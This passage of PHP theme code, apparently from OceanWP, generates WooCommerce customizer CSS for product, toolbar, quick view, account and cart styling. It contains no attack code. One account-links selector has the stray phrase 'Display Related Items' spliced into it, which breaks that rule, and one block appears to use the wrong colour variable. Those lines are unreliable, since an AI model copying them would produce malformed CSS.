$toolbar_off_canvas_filter_color .';}'; } // Add toolbar off canvas filter border color if ( ! empty( $toolbar_off_canvas_filter_border_color ) && '#eaeaea' != $toolbar_off_canvas_filter_border_color ) { $css .= '.woocommerce .oceanwp-off-canvas-filter{border-color:'. $toolbar_off_canvas_filter_border_color .';}'; } // Add toolbar off canvas filter hover color if ( ! empty( $toolbar_off_canvas_filter_hover_color ) && '#13aff0' != $toolbar_off_canvas_filter_hover_color ) { $css .= '.woocommerce .oceanwp-off-canvas-filter:hover{color:'. $toolbar_off_canvas_filter_hover_color .';}'; } // Add toolbar off canvas filter hover border color if ( ! empty( $toolbar_off_canvas_filter_hover_border_color ) && '#13aff0' != $toolbar_off_canvas_filter_hover_border_color ) { $css .= '.woocommerce .oceanwp-off-canvas-filter:hover{border-color:'. $toolbar_off_canvas_filter_hover_border_color .';}'; } // Add toolbar grid/list color if ( ! empty( $toolbar_grid_list_color ) && '#999999' != $toolbar_grid_list_color ) { $css .= '.woocommerce .oceanwp-grid-list a{color:'. $toolbar_grid_list_color .';}'; $css .= '.woocommerce .oceanwp-grid-list a .owp-icon use{stroke:'. $toolbar_grid_list_color .';}'; } // Add toolbar grid/list border color if ( ! empty( $toolbar_grid_list_border_color ) && '#eaeaea' != $toolbar_grid_list_border_color ) { $css .= '.woocommerce .oceanwp-grid-list a{border-color:'. $toolbar_grid_list_border_color .';}'; } // Add toolbar grid/list hover color if ( ! empty( $toolbar_grid_list_hover_color ) && '#13aff0' != $toolbar_grid_list_hover_color ) { $css .= '.woocommerce .oceanwp-grid-list a:hover{color:'. $toolbar_grid_list_hover_color .';border-color:'. $toolbar_grid_list_hover_color .';}'; $css .= '.woocommerce .oceanwp-grid-list a:hover .owp-icon use{stroke:'. $toolbar_grid_list_hover_color .';}'; } // Add toolbar grid/list active color if ( ! empty( $toolbar_grid_list_active_color ) && '#13aff0' != $toolbar_grid_list_active_color ) { $css .= '.woocommerce .oceanwp-grid-list a.active{color:'. $toolbar_grid_list_active_color .';border-color:'. $toolbar_grid_list_active_color .';}'; $css .= '.woocommerce .oceanwp-grid-list a.active .owp-icon use{stroke:'. $toolbar_grid_list_hover_color .';}'; } // Add toolbar select color if ( ! empty( $toolbar_select_color ) && '#999999' != $toolbar_select_color ) { $css .= '.woocommerce .woocommerce-ordering .theme-select,.woocommerce .woocommerce-ordering .theme-select:after{color:'. $toolbar_select_color .';}'; } // Add toolbar select border color if ( ! empty( $toolbar_select_border_color ) && '#dddddd' != $toolbar_select_border_color ) { $css .= '.woocommerce .woocommerce-ordering .theme-select,.woocommerce .woocommerce-ordering .theme-select:after{border-color:'. $toolbar_select_border_color .';}'; } // Add toolbar number of products color if ( ! empty( $toolbar_number_of_products_color ) && '#555555' != $toolbar_number_of_products_color ) { $css .= '.woocommerce .result-count li.view-title,.woocommerce .result-count li a.active, .woocommerce .result-count li a:hover{color:'. $toolbar_number_of_products_color .';}'; } // Add toolbar number of products inactive color if ( ! empty( $toolbar_number_of_products_inactive_color ) && '#999999' != $toolbar_number_of_products_inactive_color ) { $css .= '.woocommerce .result-count li a{color:'. $toolbar_number_of_products_inactive_color .';}'; } // Add toolbar number of products border color if ( ! empty( $toolbar_number_of_products_border_color ) && '#999999' != $toolbar_number_of_products_border_color ) { $css .= '.woocommerce .result-count li:after{color:'. $toolbar_number_of_products_border_color .';}'; } // Product padding if ( isset( $product_top_padding ) && '' != $product_top_padding || isset( $product_right_padding ) && '' != $product_right_padding || isset( $product_bottom_padding ) && '' != $product_bottom_padding || isset( $product_left_padding ) && '' != $product_left_padding ) { $css .= '.woocommerce .products .product-inner{padding:'. oceanwp_spacing_css( $product_top_padding, $product_right_padding, $product_bottom_padding, $product_left_padding ) .'}'; } // Tablet product padding if ( isset( $tablet_product_top_padding ) && '' != $tablet_product_top_padding || isset( $tablet_product_right_padding ) && '' != $tablet_product_right_padding || isset( $tablet_product_bottom_padding ) && '' != $tablet_product_bottom_padding || isset( $tablet_product_left_padding ) && '' != $tablet_product_left_padding ) { $css .= '@media (max-width: 768px){.woocommerce .products .product-inner{padding:'. oceanwp_spacing_css( $tablet_product_top_padding, $tablet_product_right_padding, $tablet_product_bottom_padding, $tablet_product_left_padding ) .'}}'; } // Mobile product padding if ( isset( $mobile_product_top_padding ) && '' != $mobile_product_top_padding || isset( $mobile_product_right_padding ) && '' != $mobile_product_right_padding || isset( $mobile_product_bottom_padding ) && '' != $mobile_product_bottom_padding || isset( $mobile_product_left_padding ) && '' != $mobile_product_left_padding ) { $css .= '@media (max-width: 480px){.woocommerce .products .product-inner{padding:'. oceanwp_spacing_css( $mobile_product_top_padding, $mobile_product_right_padding, $mobile_product_bottom_padding, $mobile_product_left_padding ) .'}}'; } // Product image margin if ( isset( $product_image_top_margin ) && '' != $product_image_top_margin || isset( $product_image_right_margin ) && '' != $product_image_right_margin || isset( $product_image_bottom_margin ) && '' != $product_image_bottom_margin || isset( $product_image_left_margin ) && '' != $product_image_left_margin ) { $css .= '.woocommerce ul.products li.product .woo-entry-inner li.image-wrap{margin:'. oceanwp_spacing_css( $product_image_top_margin, $product_image_right_margin, $product_image_bottom_margin, $product_image_left_margin ) .'}'; } // Tablet product image margin if ( isset( $tablet_product_image_top_margin ) && '' != $tablet_product_image_top_margin || isset( $tablet_product_image_right_margin ) && '' != $tablet_product_image_right_margin || isset( $tablet_product_image_bottom_margin ) && '' != $tablet_product_image_bottom_margin || isset( $tablet_product_image_left_margin ) && '' != $tablet_product_image_left_margin ) { $css .= '@media (max-width: 768px){.woocommerce ul.products li.product .woo-entry-inner li.image-wrap{margin:'. oceanwp_spacing_css( $tablet_product_image_top_margin, $tablet_product_image_right_margin, $tablet_product_image_bottom_margin, $tablet_product_image_left_margin ) .'}}'; } // Mobile product image margin if ( isset( $mobile_product_image_top_margin ) && '' != $mobile_product_image_top_margin || isset( $mobile_product_image_right_margin ) && '' != $mobile_product_image_right_margin || isset( $mobile_product_image_bottom_margin ) && '' != $mobile_product_image_bottom_margin || isset( $mobile_product_image_left_margin ) && '' != $mobile_product_image_left_margin ) { $css .= '@media (max-width: 480px){.woocommerce ul.products li.product .woo-entry-inner li.image-wrap{margin:'. oceanwp_spacing_css( $mobile_product_image_top_margin, $mobile_product_image_right_margin, $mobile_product_image_bottom_margin, $mobile_product_image_left_margin ) .'}}'; } // Product border style if border width if ( isset( $product_top_border_width ) && '' != $product_top_border_width || isset( $product_right_border_width ) && '' != $product_right_border_width || isset( $product_bottom_border_width ) && '' != $product_bottom_border_width || isset( $product_left_border_width ) && '' != $product_left_border_width || isset( $tablet_product_top_border_width ) && '' != $tablet_product_top_border_width || isset( $tablet_product_right_border_width ) && '' != $tablet_product_right_border_width || isset( $tablet_product_bottom_border_width ) && '' != $tablet_product_bottom_border_width || isset( $tablet_product_left_border_width ) && '' != $tablet_product_left_border_width || isset( $mobile_product_top_border_width ) && '' != $mobile_product_top_border_width || isset( $mobile_product_right_border_width ) && '' != $mobile_product_right_border_width || isset( $mobile_product_bottom_border_width ) && '' != $mobile_product_bottom_border_width || isset( $mobile_product_left_border_width ) && '' != $mobile_product_left_border_width ) { $css .= '.woocommerce .products .product-inner{border-style: solid}'; } // Product border width if ( isset( $product_top_border_width ) && '' != $product_top_border_width || isset( $product_right_border_width ) && '' != $product_right_border_width || isset( $product_bottom_border_width ) && '' != $product_bottom_border_width || isset( $product_left_border_width ) && '' != $product_left_border_width ) { $css .= '.woocommerce .products .product-inner{border-width:'. oceanwp_spacing_css( $product_top_border_width, $product_right_border_width, $product_bottom_border_width, $product_left_border_width ) .'}'; } // Tablet product border width if ( isset( $tablet_product_top_border_width ) && '' != $tablet_product_top_border_width || isset( $tablet_product_right_border_width ) && '' != $tablet_product_right_border_width || isset( $tablet_product_bottom_border_width ) && '' != $tablet_product_bottom_border_width || isset( $tablet_product_left_border_width ) && '' != $tablet_product_left_border_width ) { $css .= '@media (max-width: 768px){.woocommerce .products .product-inner{border-width:'. oceanwp_spacing_css( $tablet_product_top_border_width, $tablet_product_right_border_width, $tablet_product_bottom_border_width, $tablet_product_left_border_width ) .'}}'; } // Mobile product border width if ( isset( $mobile_product_top_border_width ) && '' != $mobile_product_top_border_width || isset( $mobile_product_right_border_width ) && '' != $mobile_product_right_border_width || isset( $mobile_product_bottom_border_width ) && '' != $mobile_product_bottom_border_width || isset( $mobile_product_left_border_width ) && '' != $mobile_product_left_border_width ) { $css .= '@media (max-width: 480px){.woocommerce .products .product-inner{border-width:'. oceanwp_spacing_css( $mobile_product_top_border_width, $mobile_product_right_border_width, $mobile_product_bottom_border_width, $mobile_product_left_border_width ) .'}}'; } // Product border radius if ( isset( $product_top_border_radius ) && '' != $product_top_border_radius || isset( $product_right_border_radius ) && '' != $product_right_border_radius || isset( $product_bottom_border_radius ) && '' != $product_bottom_border_radius || isset( $product_left_border_radius ) && '' != $product_left_border_radius ) { $css .= '.woocommerce .products .product-inner{border-radius:'. oceanwp_spacing_css( $product_top_border_radius, $product_right_border_radius, $product_bottom_border_radius, $product_left_border_radius ) .'}'; } // Tablet product border radius if ( isset( $tablet_product_top_border_radius ) && '' != $tablet_product_top_border_radius || isset( $tablet_product_right_border_radius ) && '' != $tablet_product_right_border_radius || isset( $tablet_product_bottom_border_radius ) && '' != $tablet_product_bottom_border_radius || isset( $tablet_product_left_border_radius ) && '' != $tablet_product_left_border_radius ) { $css .= '@media (max-width: 768px){.woocommerce .products .product-inner{border-radius:'. oceanwp_spacing_css( $tablet_product_top_border_radius, $tablet_product_right_border_radius, $tablet_product_bottom_border_radius, $tablet_product_left_border_radius ) .'}}'; } // Mobile product border radius if ( isset( $mobile_product_top_border_radius ) && '' != $mobile_product_top_border_radius || isset( $mobile_product_right_border_radius ) && '' != $mobile_product_right_border_radius || isset( $mobile_product_bottom_border_radius ) && '' != $mobile_product_bottom_border_radius || isset( $mobile_product_left_border_radius ) && '' != $mobile_product_left_border_radius ) { $css .= '@media (max-width: 480px){.woocommerce .products .product-inner{border-radius:'. oceanwp_spacing_css( $mobile_product_top_border_radius, $mobile_product_right_border_radius, $mobile_product_bottom_border_radius, $mobile_product_left_border_radius ) .'}}'; } // Add background color if ( ! empty( $product_background_color ) ) { $css .= '.woocommerce .products .product-inner, .woocommerce ul.products li.product .woo-product-info, .woocommerce ul.products li.product .woo-product-gallery{background-color:'. $product_background_color .';}'; } // Add border color if ( ! empty( $product_border_color ) ) { $css .= '.woocommerce .products .product-inner{border-color:'. $product_border_color .';}'; } // Add category color if ( ! empty( $category_color ) && '#999999' != $category_color ) { $css .= '.woocommerce ul.products li.product li.category, .woocommerce ul.products li.product li.category a{color:'. $category_color .';}'; } // Add category color hover if ( ! empty( $category_color_hover ) && '#13aff0' != $category_color_hover ) { $css .= '.woocommerce ul.products li.product li.category a:hover{color:'. $category_color_hover .';}'; } // Add product entry title color if ( ! empty( $product_title_color ) && '#333333' != $product_title_color ) { $css .= '.woocommerce ul.products li.product li.title h2, .woocommerce ul.products li.product li.title a{color:'. $product_title_color .';}'; } // Add product entry title color hover if ( ! empty( $product_title_color_hover ) && '#13aff0' != $product_title_color_hover ) { $css .= '.woocommerce ul.products li.product li.title a:hover{color:'. $product_title_color_hover .';}'; } // Add product entry price color if ( ! empty( $product_entry_price_color ) && '#57bf6d' != $product_entry_price_color ) { $css .= '.woocommerce ul.products li.product .price, .woocommerce ul.products li.product .price .amount{color:'. $product_entry_price_color .';}'; } // Add product entry del price color if ( ! empty( $product_entry_del_price_color ) && '#666666' != $product_entry_del_price_color ) { $css .= '.woocommerce ul.products li.product .price del .amount{color:'. $product_entry_del_price_color .';}'; } // Add product entry conditional notice color. if ( ! empty( $product_entry_cond_note_color ) && '#333' != $product_entry_cond_note_color ) { $css .= '.woocommerce ul.products li.product li.owp-woo-cond-notice span, .woocommerce ul.products li.product li.owp-woo-cond-notice a{color:'. $product_entry_cond_note_color .';}'; } // Add product entry conditional notice hover color. if ( ! empty( $product_entry_cond_note_color_hover ) && '#52a7fe' != $product_entry_cond_note_color_hover ) { $css .= '.woocommerce ul.products li.product li.owp-woo-cond-notice a:hover{color:'. $product_entry_cond_note_color_hover .';}'; } // Add product hover thumbnails border color if ( ! empty( $product_entry_hover_thumbnails_border_color ) && '#13aff0' != $product_entry_hover_thumbnails_border_color ) { $css .= '.woocommerce ul.products li.product .woo-product-gallery .active a, .woocommerce ul.products li.product .woo-product-gallery a:hover{border-color:'. $product_entry_hover_thumbnails_border_color .';}'; } // Add product hover quick view background if ( ! empty( $product_entry_hover_quickview_background ) && '#ffffff' != $product_entry_hover_quickview_background ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.owp-quick-view{background-color:'. $product_entry_hover_quickview_background .';}'; } // Add product hover quick view hover background if ( ! empty( $product_entry_hover_quickview_hover_background ) && '#ffffff' != $product_entry_hover_quickview_hover_background ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.owp-quick-view:hover{background-color:'. $product_entry_hover_quickview_hover_background .';}'; } // Add product hover quick view color if ( ! empty( $product_entry_hover_quickview_color ) && '#444444' != $product_entry_hover_quickview_color ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.owp-quick-view{color:'. $product_entry_hover_quickview_color .';}'; } // Add product hover quick view hover color if ( ! empty( $product_entry_hover_quickview_hover_color ) && '#13aff0' != $product_entry_hover_quickview_hover_color ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.owp-quick-view:hover{color:'. $product_entry_hover_quickview_hover_color .';}'; } // Add product hover wishlist background if ( ! empty( $product_entry_hover_wishlist_background ) && '#ffffff' != $product_entry_hover_wishlist_background ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.tinvwl_add_to_wishlist_button{background-color:'. $product_entry_hover_wishlist_background .';}'; } // Add product hover wishlist hover background if ( ! empty( $product_entry_hover_wishlist_hover_background ) && '#ffffff' != $product_entry_hover_wishlist_hover_background ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.tinvwl_add_to_wishlist_button:hover{background-color:'. $product_entry_hover_wishlist_hover_background .';}'; } // Add product hover wishlist color if ( ! empty( $product_entry_hover_wishlist_color ) && '#444444' != $product_entry_hover_wishlist_color ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.tinvwl_add_to_wishlist_button{color:'. $product_entry_hover_wishlist_color .';}'; } // Add product hover wishlist hover color if ( ! empty( $product_entry_hover_wishlist_hover_color ) && '#13aff0' != $product_entry_hover_wishlist_hover_color ) { $css .= '.woocommerce ul.products li.product .woo-entry-buttons li a.tinvwl_add_to_wishlist_button:hover{color:'. $product_entry_hover_wishlist_hover_color .';}'; } // Add product entry add to cart background color if ( ! empty( $product_entry_addtocart_bg_color ) ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{background-color:'. $product_entry_addtocart_bg_color .';}'; } // Add product entry add to cart background color hover if ( ! empty( $product_entry_addtocart_bg_color_hover ) ) { $css .= '.woocommerce ul.products li.product .button:hover,.woocommerce ul.products li.product .product-inner .added_to_cart:hover{background-color:'. $product_entry_addtocart_bg_color_hover .';}'; } // Add product entry add to cart color if ( ! empty( $product_entry_addtocart_color ) && '#848494' != $product_entry_addtocart_color ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{color:'. $product_entry_addtocart_color .';}'; } // Add product entry add to cart color hover if ( ! empty( $product_entry_addtocart_color_hover ) && '#13aff0' != $product_entry_addtocart_color_hover ) { $css .= '.woocommerce ul.products li.product .button:hover,.woocommerce ul.products li.product .product-inner .added_to_cart:hover{color:'. $product_entry_addtocart_color_hover .';}'; } // Add product entry add to cart border color if ( ! empty( $product_entry_addtocart_border_color ) && '#e4e4e4' != $product_entry_addtocart_border_color ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{border-color:'. $product_entry_addtocart_border_color .';}'; } // Add product entry add to cart border color hover if ( ! empty( $product_entry_addtocart_border_color_hover ) && '#13aff0' != $product_entry_addtocart_border_color_hover ) { $css .= '.woocommerce ul.products li.product .button:hover,.woocommerce ul.products li.product .product-inner .added_to_cart:hover{border-color:'. $product_entry_addtocart_border_color_hover .';}'; } // Add product entry add to cart border style if ( ! empty( $product_entry_addtocart_border_style ) && 'double' != $product_entry_addtocart_border_style ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{border-style:'. $product_entry_addtocart_border_style .';}'; } // Add product entry add to cart border size if ( ! empty( $product_entry_addtocart_border_size ) && '3' != $product_entry_addtocart_border_size ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{border-width:'. $product_entry_addtocart_border_size .';}'; } // Add product entry add to cart border radius if ( ! empty( $product_entry_addtocart_border_radius ) ) { $css .= '.woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart{border-radius:'. $product_entry_addtocart_border_radius .';}'; } // Add quick view button background if ( ! empty( $quick_view_button_bg ) && 'rgba(0,0,0,0.6)' != $quick_view_button_bg ) { $css .= '.owp-quick-view{background-color:'. $quick_view_button_bg .';}'; } // Add quick view button hover background if ( ! empty( $quick_view_button_hover_bg ) && 'rgba(0,0,0,0.9)' != $quick_view_button_hover_bg ) { $css .= '.owp-quick-view:hover{background-color:'. $quick_view_button_hover_bg .';}'; } // Add quick view button color if ( ! empty( $quick_view_button_color ) && '#ffffff' != $quick_view_button_color ) { $css .= '.owp-quick-view{color:'. $quick_view_button_color .';}'; $css .= '.owp-quick-view .owp-icon use{stroke:'. $quick_view_button_color .';}'; } // Add quick view button hover color if ( ! empty( $quick_view_button_hover_color ) && '#ffffff' != $quick_view_button_hover_color ) { $css .= '.owp-quick-view:hover{color:'. $quick_view_button_hover_color .';}'; $css .= '.owp-quick-view:hover .owp-icon use{stroke:'. $quick_view_button_hover_color .';}'; } // Add quick view overlay background if ( ! empty( $quick_view_overlay_bg ) && 'rgba(0,0,0,0.15)' != $quick_view_overlay_bg ) { $css .= '.image-wrap.loading:after{background-color:'. $quick_view_overlay_bg .';}'; } // Add quick view overlay spinner outside color if ( ! empty( $quick_view_overlay_spinner_outside_color ) && 'rgba(0,0,0,0.1)' != $quick_view_overlay_spinner_outside_color ) { $css .= '.image-wrap.loading:before{border-color:'. $quick_view_overlay_spinner_outside_color .';}'; } // Add quick view overlay spinner inner color if ( ! empty( $quick_view_overlay_spinner_inner_color ) && '#ffffff' != $quick_view_overlay_spinner_inner_color ) { $css .= '.image-wrap.loading:before{border-left-color:'. $quick_view_overlay_spinner_inner_color .';}'; } // Add quick view modal background if ( ! empty( $quick_view_modal_bg ) && '#ffffff' != $quick_view_modal_bg ) { $css .= '.owp-qv-content-inner{background-color:'. $quick_view_modal_bg .';}'; } // Add quick view modal close button color if ( ! empty( $quick_view_modal_close_color ) && '#333333' != $quick_view_modal_close_color ) { $css .= '.owp-qv-content-inner .owp-qv-close{color:'. $quick_view_modal_close_color .';}'; } // Add off canvas background if ( ! empty( $off_canvas_sidebar_bg ) && '#ffffff' != $off_canvas_sidebar_bg ) { $css .= '#oceanwp-off-canvas-sidebar-wrap .oceanwp-off-canvas-sidebar{background-color:'. $off_canvas_sidebar_bg .';}'; } // Add off canvas border color if ( ! empty( $off_canvas_sidebar_widgets_border ) && 'rgba(84,84,84,0.15)' != $off_canvas_sidebar_widgets_border ) { $css .= '#oceanwp-off-canvas-sidebar-wrap .sidebar-box{border-color:'. $off_canvas_sidebar_widgets_border .';}'; } // Add single product title color if ( ! empty( $single_product_title_color ) && '#333333' != $single_product_title_color ) { $css .= '.woocommerce div.product .product_title{color:'. $single_product_title_color .';}'; } // Add single product price color if ( ! empty( $single_product_price_color ) && '#57bf6d' != $single_product_price_color ) { $css .= '.price,.amount{color:'. $single_product_price_color .';}'; } // Add single product del price color if ( ! empty( $single_product_del_price_color ) && '#555555' != $single_product_del_price_color ) { $css .= '.price del,del .amount{color:'. $single_product_del_price_color .';}'; } // Add single product description color if ( ! empty( $single_product_description_color ) && '#aaaaaa' != $single_product_description_color ) { $css .= '.woocommerce div.product div[itemprop="description"]{color:'. $single_product_description_color .';}'; } // Add single product meta title color if ( ! empty( $single_product_meta_title_color ) && '#333333' != $single_product_meta_title_color ) { $css .= '.product_meta .posted_in,.product_meta .tagged_as{color:'. $single_product_meta_title_color .';}'; } // Add single product meta link color if ( ! empty( $single_product_meta_link_color ) && '#aaaaaa' != $single_product_meta_link_color ) { $css .= '.product_meta .posted_in a,.product_meta .tagged_as a{color:'. $single_product_meta_link_color .';}'; } // Add single product meta link color hover if ( ! empty( $single_product_meta_link_color_hover ) && '#13aff0' != $single_product_meta_link_color_hover ) { $css .= '.product_meta .posted_in a:hover,.product_meta .tagged_as a:hover{color:'. $single_product_meta_link_color_hover .';}'; } // Add single product notice color. if ( ! empty( $single_product_cond_notice_color ) && '#333333' != $single_product_cond_notice_color ) { $css .= '.woocommerce div.owp-woo-single-cond-notice span, .woocommerce div.owp-woo-single-cond-notice a{color:'. $single_product_cond_notice_color .';}'; } // Add single product notice hover color. if ( ! empty( $single_product_cond_notice_color_hover ) && '#52a7fe' != $single_product_cond_notice_color_hover ) { $css .= '.woocommerce div.owp-woo-single-cond-notice a:hover{color:'. $single_product_cond_notice_color_hover .';}'; } // Add single product navigation border radius if ( isset( $single_product_navigation_border_radius ) && '30' != $single_product_navigation_border_radius && '' != $single_product_navigation_border_radius ) { $css .= '.owp-product-nav li a.owp-nav-link{-webkit-border-radius: '. $single_product_navigation_border_radius .'px; -moz-border-radius: '. $single_product_navigation_border_radius .'px; -ms-border-radius: '. $single_product_navigation_border_radius .'px; border-radius: '. $single_product_navigation_border_radius .'px;}'; } // Add single product navigation background color if ( ! empty( $single_product_navigation_bg ) ) { $css .= '.owp-product-nav li a.owp-nav-link{background-color:'. $single_product_navigation_bg .';}'; } // Add single product navigation background color if ( ! empty( $single_product_navigation_hover_bg ) && '#13aff0' != $single_product_navigation_hover_bg ) { $css .= '.owp-product-nav li a.owp-nav-link:hover{background-color:'. $single_product_navigation_hover_bg .';}'; } // Add single product navigation color if ( ! empty( $single_product_navigation_color ) && '#333333' != $single_product_navigation_color ) { $css .= '.owp-product-nav li a.owp-nav-link{color:'. $single_product_navigation_color .';}'; $css .= '.owp-product-nav li a.owp-nav-link .owp-icon use{stroke:'. $single_product_navigation_color .';}'; } // Add single product navigation color if ( ! empty( $single_product_navigation_hover_color ) && '#ffffff' != $single_product_navigation_hover_color ) { $css .= '.owp-product-nav li a.owp-nav-link:hover{color:'. $single_product_navigation_hover_color .';}'; $css .= '.owp-product-nav li a.owp-nav-link:hover .owp-icon use{stroke:'. $single_product_navigation_hover_color .';}'; } // Add single product navigation border color if ( ! empty( $single_product_navigation_border_color ) && '#e9e9e9' != $single_product_navigation_border_color ) { $css .= '.owp-product-nav li a.owp-nav-link{border-color:'. $single_product_navigation_border_color .';}'; } // Add single product navigation border color if ( ! empty( $single_product_navigation_hover_border_color ) && '#13aff0' != $single_product_navigation_hover_border_color ) { $css .= '.owp-product-nav li a.owp-nav-link:hover{border-color:'. $single_product_navigation_hover_border_color .';}'; } // Add product entry add to cart background color if ( ! empty( $single_product_addtocart_bg_color ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{background-color:'. $single_product_addtocart_bg_color .';}'; } // Add product entry add to cart background color hover if ( ! empty( $single_product_addtocart_bg_color_hover ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button:hover{background-color:'. $single_product_addtocart_bg_color_hover .';}'; } // Add product entry add to cart color if ( ! empty( $single_product_addtocart_color ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{color:'. $single_product_addtocart_color .';}'; } // Add product entry add to cart color hover if ( ! empty( $single_product_addtocart_color_hover ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button:hover{color:'. $single_product_addtocart_color_hover .';}'; } // Add product entry add to cart border color if ( ! empty( $single_product_addtocart_border_color ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{border-color:'. $single_product_addtocart_border_color .';}'; } // Add product entry add to cart border color hover if ( ! empty( $single_product_addtocart_border_color_hover ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button:hover{border-color:'. $single_product_addtocart_border_color_hover .';}'; } // Add product entry add to cart border style if ( ! empty( $single_product_addtocart_border_style ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{border-style:'. $single_product_addtocart_border_style .';}'; } // Add product entry add to cart border size if ( ! empty( $single_product_addtocart_border_size ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{border-width:'. $single_product_addtocart_border_size .';}'; } // Add product entry add to cart border radius if ( ! empty( $single_product_addtocart_border_radius ) ) { $css .= '.woocommerce div.product div.summary button.single_add_to_cart_button{border-radius:'. $single_product_addtocart_border_radius .';}'; } // Add single product tabs borders color if ( ! empty( $single_product_tabs_borders_color ) && '#e9e9e9' != $single_product_tabs_borders_color ) { $css .= '.woocommerce div.product .woocommerce-tabs ul.tabs{border-color:'. $single_product_tabs_borders_color .';}'; } // Add single product tabs text color if ( ! empty( $single_product_tabs_text_color ) && '#999999' != $single_product_tabs_text_color ) { $css .= '.woocommerce div.product .woocommerce-tabs ul.tabs li a{color:'. $single_product_tabs_text_color .';}'; } // Add single product tabs text color hover if ( ! empty( $single_product_tabs_text_color_hover ) && '#13aff0' != $single_product_tabs_text_color_hover ) { $css .= '.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover{color:'. $single_product_tabs_text_color_hover .';}'; } // Add single product tabs active text color if ( ! empty( $single_product_tabs_active_text_color ) && '#13aff0' != $single_product_tabs_active_text_color ) { $css .= '.woocommerce div.product .woocommerce-tabs ul.tabs li.active a{color:'. $single_product_tabs_active_text_color .';}'; } // Add single product tabs active text borders color if ( ! empty( $single_product_tabs_active_text_borders_color ) && '#13aff0' != $single_product_tabs_active_text_borders_color ) { $css .= '.woocommerce div.product .woocommerce-tabs ul.tabs li.active a{border-color:'. $single_product_tabs_active_text_borders_color .';}'; } // Add single product tabs product description title color if ( ! empty( $single_product_tabs_product_desc_title_color ) && '#333333' != $single_product_tabs_product_desc_title_color ) { $css .= '.woocommerce div.product .woocommerce-tabs .panel h2{color:'. $single_product_tabs_product_desc_title_color .';}'; } // Add single product tabs product description color if ( ! empty( $single_product_tabs_product_desc_color ) && '#929292' != $single_product_tabs_product_desc_color ) { $css .= '.woocommerce div.product .woocommerce-tabs .panel p{color:'. $single_product_tabs_product_desc_color .';}'; } // Add account Login/Register color if ( ! empty( $account_login_register_color ) && '#333333' != $account_login_register_color ) { $css .= '.woocommerce .owp-account-links li .owp-account-link, .woocommerce .owp-account-links li.orDisplay Related Items{color:'. $account_login_register_color .';}'; } // Add account navigation borders color if ( ! empty( $account_nav_borders_color ) && '#e9e9e9' != $account_nav_borders_color ) { $css .= '.woocommerce-MyAccount-navigation ul,.woocommerce-MyAccount-navigation ul li{border-color:'. $account_nav_borders_color .';}'; } // Add account navigation icons color if ( ! empty( $account_nav_icons_color ) && '#13aff0' != $account_nav_icons_color ) { $css .= '.woocommerce-MyAccount-navigation ul li a:before{color:'. $account_nav_icons_color .';}'; } // Add account navigation links color if ( ! empty( $account_nav_links_color ) && '#333333' != $account_nav_links_color ) { $css .= '.woocommerce-MyAccount-navigation ul li a{color:'. $account_nav_links_color .';}'; } // Add account navigation links color hover if ( ! empty( $account_nav_links_color_hover ) && '#13aff0' != $account_nav_links_color_hover ) { $css .= '.woocommerce-MyAccount-navigation ul li a:hover{color:'. $account_nav_links_color_hover .';}'; } // Add account addresses background color if ( ! empty( $account_addresses_bg ) && '#f6f6f6' != $account_addresses_bg ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title, .woocommerce-MyAccount-content .addresses .woocommerce-Address address{background-color:'. $account_addresses_bg .';}'; } // Add account addresses title color if ( ! empty( $account_addresses_title_color ) && '#333333' != $account_addresses_title_color ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title h3{color:'. $account_addresses_title_color .';}'; } // Add account addresses title border color if ( ! empty( $account_addresses_title_border_color ) && '#ffffff' != $account_addresses_title_border_color ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title{border-color:'. $account_addresses_title_border_color .';}'; } // Add account addresses content color if ( ! empty( $account_addresses_content_color ) && '#898989' != $account_addresses_content_color ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address address{color:'. $account_addresses_content_color .';}'; } // Add account addresses button background color if ( ! empty( $account_addresses_button_bg ) && '#ffffff' != $account_addresses_button_bg ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title a{background-color:'. $account_addresses_button_bg .';}'; } // Add account addresses button background color hover if ( ! empty( $account_addresses_button_bg_hover ) && '#f8f8f8' != $account_addresses_button_bg_hover ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title a:hover{background-color:'. $account_addresses_button_bg_hover .';}'; } // Add account addresses button color if ( ! empty( $account_addresses_button_color ) && '#898989' != $account_addresses_button_color ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title a{color:'. $account_addresses_button_color .';}'; } // Add account addresses button color hover if ( ! empty( $account_addresses_button_color_hover ) && '#555555' != $account_addresses_button_color_hover ) { $css .= '.woocommerce-MyAccount-content .addresses .woocommerce-Address .title a:hover{color:'. $account_addresses_button_color_hover .';}'; } // Add cart borders color if ( ! empty( $cart_borders_color ) && '#e9e9e9' != $cart_borders_color ) { $css .= '.woocommerce-cart table.shop_table,.woocommerce-cart table.shop_table th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cross-sells,.woocommerce-page .cart-collaterals 